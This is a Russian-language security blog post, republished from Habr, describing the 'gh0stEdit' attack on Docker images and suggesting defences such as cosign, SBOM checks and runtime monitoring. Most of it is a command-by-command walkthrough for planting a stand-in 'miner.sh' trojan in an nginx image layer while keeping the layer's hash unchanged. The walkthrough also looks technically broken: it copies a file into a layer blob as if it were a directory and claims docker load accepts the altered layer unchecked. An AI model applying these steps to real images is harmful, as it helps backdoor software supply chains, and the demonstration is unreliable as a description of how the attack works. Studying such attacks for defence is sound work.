- PVSM.RU - https://www.pvsm.ru -
Docker и контейнеризация давно стали стандартом. Мы подписываем образы, сканируем их на уязвимости, используем приватные реестры. Кажется, что цепочка поставки надёжно защищена.
Но исследователи показали атаку gh0stEdit (arxiv.org [1], 2025 [2]), которая ломает привычные представления. Суть: можно внедрить вредоносный код в Docker-образ так, что это не видно в истории, подписях и стандартных сканерах.
Ниже — демонстрация в упрощённом виде.
docker pull nginx:alpine
docker save nginx:alpine -o nginx.tar
Теперь у нас есть tar-архив образа.
mkdir exploit && tar -xf nginx.tar -C exploit
cd exploit
Внутри будут папки вида blobs/sha256/... — это слои образа.
Допустим, мы хотим встроить «троян» — скрипт miner.sh [3].
echo -e '#!/bin/shnecho "Mining started..."' > miner.sh
chmod +x miner.sh
Затем мы незаметно подмешиваем его в слой (например, в /usr/bin/).
cp miner.sh blobs/sha256/<layer-id>/usr/bin/
Ключевой трюк gh0stEdit — мы не пересчитываем хеш слоя, а оставляем прежний.
Для Docker это выглядит так, будто слой не менялся.
Файл manifest.json и repositories остаются прежними.
tar -cf nginx_backdoored.tar *
docker load -i nginx_backdoored.tar
docker tag <id> nginx:ghosted
docker history nginx:ghosted
Покажет ту же историю, что и у оригинала.
docker inspect nginx:ghosted
Метаданные совпадают, изменений нет.
docker run --rm nginx:ghosted miner.sh
Вывод:
Mining started...
Образ прошёл все стандартные проверки, но внутри уже есть скрытый payload.
CI/CD пайплайн скачает образ, проверит подпись → «чисто».
Сканер уязвимостей прогонит → «чисто».
В продакшн попадёт контейнер с бэкдором.
Таким образом, атакующий может встроить вредонос даже в подписанный образ из «надёжного» реестра.
Глубокая проверка содержимого
Использовать cosign [4] с принудительной пересборкой хешей.
Проверять бинарники внутри слоёв через SBOM (Software Bill of Materials).
Runtime-мониторинг
Инструменты Falco, Tetragon, eBPF-хуки: обнаружение аномальных процессов (например, xmrig внутри nginx).
Zero Trust к supply chain
Использовать только воспроизводимые сборки (reproducible builds).
Пересобирать сторонние образы самостоятельно.
gh0stEdit — это напоминание: безопасность контейнеров не заканчивается на подписях и сканерах. Мы должны верифицировать содержимое и наблюдать за поведением контейнеров на рантайме.
Автор: AdminFuture
Источник [5]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/bezopasnost/430892
Ссылки в тексте:
[1] arxiv.org: http://arxiv.org
[2] , 2025: https://arxiv.org/abs/2506.08218?utm_source=chatgpt.com
[3] miner.sh: http://miner.sh
[4] cosign: https://github.com/sigstore/cosign
[5] Источник: https://habr.com/ru/articles/947670/?utm_source=habrahabr&utm_medium=rss&utm_campaign=947670
Нажмите здесь для печати.